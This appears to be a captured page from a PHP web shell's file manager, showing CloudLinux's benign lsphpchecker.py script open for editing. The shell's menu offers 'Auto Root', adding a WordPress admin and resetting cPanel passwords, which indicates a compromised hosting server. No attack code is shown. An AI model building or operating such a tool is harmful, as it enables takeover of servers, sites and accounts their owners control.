Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
lve
modlscapi
user
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: lsphpchecker.py
#!/usr/bin/python3 # Copyright (c) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #coding:utf-8 import glob import os import pwd import sys from subprocess import Popen, PIPE CHECK = { "gt": lambda x, y: x > y, "gte": lambda x, y: x >= y, "lt": lambda x, y: x < y, "lte": lambda x, y: x <= y, "eq": lambda x, y: x == y, } CHECK_KEYS = {"gt": "more", "gte": "more or equal", "lt": "less", "lte": "less or equal", "eq": "equal"} BYTES_CONVERSION_TABLE = {'M': 1, 'G': 1024, 'T': 1024 * 1024} quick = 0 def log_error(msg): """ Wrapper for logging errors. Simple logging to stderr. """ print(msg, file=sys.stderr) class Cast: """ Class with functions for cast to any type """ @staticmethod def to_bool(_v): return {"Off": 0, "On": 1}.get(_v, Cast.to_number(_v)) @staticmethod def to_mb(_v): if not len(_v): return None if _v[-1].isdigit(): _v = "%sM" % _v _num = Cast.to_number(_v[:-1]) if _num is None: return None return _num * BYTES_CONVERSION_TABLE.get(_v[-1].upper(), 1) @staticmethod def to_number(_v): try: return int(_v) except (ValueError, TypeError): return None class PhpChecker: """ docstring for PhpChecker """ SAMPLE_CONFIG_PATH = "/usr/share/lve/modlscapi/user/lsphpchecker.ini" __php_binary = None __sample = None def __init__(self): """ Initialize php versions list """ global quick super(PhpChecker, self).__init__() php_list = glob.glob("/usr/local/bin/lsphp") if quick != 1: php_list.extend(glob.glob("/opt/alt/php*/usr/bin/lsphp")) php_list.extend(glob.glob("/opt/cpanel/ea-php*/root/usr/bin/lsphp")) php_list.extend(glob.glob("/usr/bin/lsphp")) php_list = sorted(php_list) self.__php_binary = php_list self._load_sample_options() def check_user(self, user): """ Check configurations for user """ for php_path in self.__php_binary: if os.path.exists(php_path): check_result = self._check_php_options(php_path, user) if check_result: for message in check_result: print("%s: %s: %s" % (user, php_path, message)) def _check_php_options(self, php_path, user): """ Load and check specified php version options @param `php_path` str: path to php binary @param `user` str: username """ warnings = [] options = self._load_php_options(php_path, user) modules = self._detect_danger_modules(php_path, user) warnings += self._check_options(options, "apc") warnings += self._check_options(options, "suhosin") #if "zend_guard_loader" in modules: # warnings.append("Unstable module Zend Guard detected. Please disable module") #if "ioncube_loader" in modules: # warnings.append("Unstable module ionCube detected. Please disable module") return warnings def _load_php_options(self, php_path, user): """ Load php options from CLI phpinfo output """ #print "%s: %s" % (user, php_path) if user == "": p = Popen([php_path, "-i"], stdout=PIPE, stderr=PIPE) else: p = Popen(["/bin/su", user, "-c", "[ ! -f %s ] || %s -i" % (php_path, php_path)], stdout=PIPE, stderr=PIPE) out, err = p.communicate() #if p.returncode != 0: # log_error(err) options = {} option_value = False for line in out.decode().split("\n"): if "Directive => Local Value => Master Value" == line: option_value = True continue if option_value: if not line: option_value = False continue values = line.split(" => ") if len(values) < 3: log_error("Invalid option line - %s" % line) continue if "." not in values[0]: module = "__common__" key = values[0] else: module, key = values[0].split(".", 1) if module not in options: options[module] = {} options[module][values[0]] = values[1] return options def _detect_danger_modules(self, php_path, user): """ Detect unstable and potential danger php modules from php version output """ if user == "": p = Popen([php_path, "-i"], stdout=PIPE, stderr=PIPE) else: p = Popen(["/bin/su", user, "-c", "[ ! -f %s ] || %s -i" % (php_path, php_path)], stdout=PIPE, stderr=PIPE) out, err = p.communicate() #if p.returncode != 0: # log_error(err) modules = {} for line in out.decode().split("\n"): line = line.strip() if line.startswith("with the ionCube PHP Loader"): modules["ioncube_loader"] = True elif line.startswith("with Zend Guard Loader"): modules["zend_guard_loader"] = True return modules def _check_options(self, config, module): """ Check php options based on sample config """ if not config or not isinstance(config, dict) or \ not isinstance(module, str) or \ not isinstance(config.get(module), dict): return [] if module not in self.__sample: return [] result = [] options = config[module] for key, check_info in self.__sample[module].items(): if key in options and not self._validate_value(options[key], check_info): result.append("%s must be %s %s (current value: %s) (no value means Off)" % (key, CHECK_KEYS.get(check_info["check"], ""), check_info["value"], options[key])) if len(result): result.insert(0, "[%s]" % module) result.insert(0, "change %s options to default" % module) return result def _load_sample_options(self): """ Load sample options """ self.__sample = {} try: f = open(self.SAMPLE_CONFIG_PATH, "r") for line in f: line = line.strip() value_type = "number" check_type = "gte" try: key, value = line.split("=", 1) if "," in key: # get additional information about value type and check method type_info, key = key.split(",") value_type, check_type = type_info.split(":") module = key.split(".", 1)[0] except (ValueError, IndexError): print("Invalid sample string %s" % line) continue if module not in self.__sample: self.__sample[module] = {} self.__sample[module][key.strip()] = {"value": value.strip(), "type": value_type, "check": check_type} f.close() except (OSError, IOError): log_error("Error read %s" % self.SAMPLE_CONFIG_PATH) def _validate_value(self, value, rule): """ Validate option value. @param value_type `str`|default:"number" : value type @param value1 `str|int`: value1 for compare @param value2 `str|int`: value2 for compare @return int : -1, 0, 1 """ if not isinstance(rule, dict): return False value_type = rule.get("type", "number") check_type = rule.get("check", "gte") check_value = rule["value"] cast_func = "to_%s" % value_type if hasattr(Cast, cast_func): value = getattr(Cast, cast_func)(value) check_value = getattr(Cast, cast_func)(check_value) if check_type not in CHECK: return False return CHECK[check_type](value, check_value) def load_min_max_uid(): """ Load min and max UID from /etc/login.defs config """ min_uid = max_uid = None try: f = open("/etc/login.defs", "r") for line in f: if not line.startswith("UID_MIN") and not line.startswith("UID_MAX"): continue data = line.split() if not data: continue try: if data[0] == "UID_MIN": min_uid = int(data[1]) elif data[0] == "UID_MAX": max_uid = int(data[1]) except (ValueError, IndexError): log_error("Invalid UID_MIN/UID_MAX values") break f.close() except (IOError, OSError): print("Can`t read UID_MIN and UID_MAX from /etc/login.defs file", file=sys.stderr) return min_uid, max_uid def main(users_list): """ Run check """ global quick if len(users_list)>0 and users_list[0] == "help": print("%s [help] [quick] [users list...]" % sys.argv[0]) print(" help - show this help") print(" fast - check all lsphp without switching to user") print(" medium - check all users but only /usr/local/bin/lsphp config") print(" users list - list of needed users or empty. i this case users list will be taken from passwd") return if len(users_list)>0 and (users_list[0] == "fast" or users_list[0] == "medium"): if users_list[0] == "fast": quick = 2 else: quick = 1 users_list = users_list[1:] checker = PhpChecker() if quick == 2: checker.check_user("") elif users_list: for username in users_list: try: user = pwd.getpwnam(username) checker.check_user(username) except KeyError: log_error("User %s doesn`t exists" % username) else: UID_MIN, UID_MAX = load_min_max_uid() # get username list for user in pwd.getpwall(): if user.pw_uid >= UID_MIN and user.pw_uid <= UID_MAX: # for each user run check_user checker.check_user(user.pw_name) if "__main__" == __name__: main(sys.argv[1:])